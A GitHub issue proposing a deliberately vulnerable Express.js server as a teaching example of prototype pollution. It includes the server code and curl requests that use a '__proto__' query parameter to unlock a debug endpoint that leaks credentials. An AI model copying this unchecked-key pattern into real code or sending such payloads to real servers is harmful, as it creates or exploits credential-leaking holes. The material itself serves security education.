Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Idea: Add small & simple exploitable server #1

Open
lxhom opened this issue Dec 13, 2021 · 0 comments
Open

Idea: Add small & simple exploitable server #1

lxhom opened this issue Dec 13, 2021 · 0 comments

Comments

@lxhom
Copy link

lxhom commented Dec 13, 2021

Hi! Just watched your video (great video by the way!), and I have a small suggestion: The exploit shown in the video is IMO a bit complicated, and using a 3rd party library with the bug in it. So I wrote a small Express.js web server for Node that's vulnerable to the same concept, but simpler. This is the code:

let app = require("express")() // Load & create an Express server
let userData = {} // User data storage object
let credentials = {email: "[email protected]", password: "abcd"}
app.get("/addUser", (req, res) => {
  let {region, name, uuid} = req.query // Store query parameters into variables
  if (userData[region] === undefined) { // If that region isn't initialized:
    userData[region] = {} // Make it an empty object
  }
  userData[region][name] = uuid // Store the UUID under the name in the region
  res.send("Success!\n") // And send a success message.
})
app.get("/debug/getCurrentCredentials", (req, res) => {
  if (process.env.TESTING === "true") { // If the testing env variable is set:
    res.send(JSON.stringify(credentials) + "\n") // Send the credentials
  } else { // Or:
    res.status(403).send("Not allowed!\n") // Send an error
  }
})
app.listen(1337) // And run the server

It has essentially the same vulnerability, we can exploit it by sending this request:

❯ node server.js &
❯ curl "localhost:1337/debug/getCurrentCredentials"
Not allowed!
❯ curl "localhost:1337/addUser?region=__proto__&name=TESTING&uuid=true"
Success!
❯ curl "localhost:1337/debug/getCurrentCredentials"
{"email":"[email protected]","password":"abcd"}

It's super simple, the server executes userData["__proto__"]["TESTING"] = "true" in line 9, so the server thinks the TESTING env variable is set to "true". And we don't even have to involve a fancy JSON parser or anything, just the assignation is enough. Might be a nice little addition :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant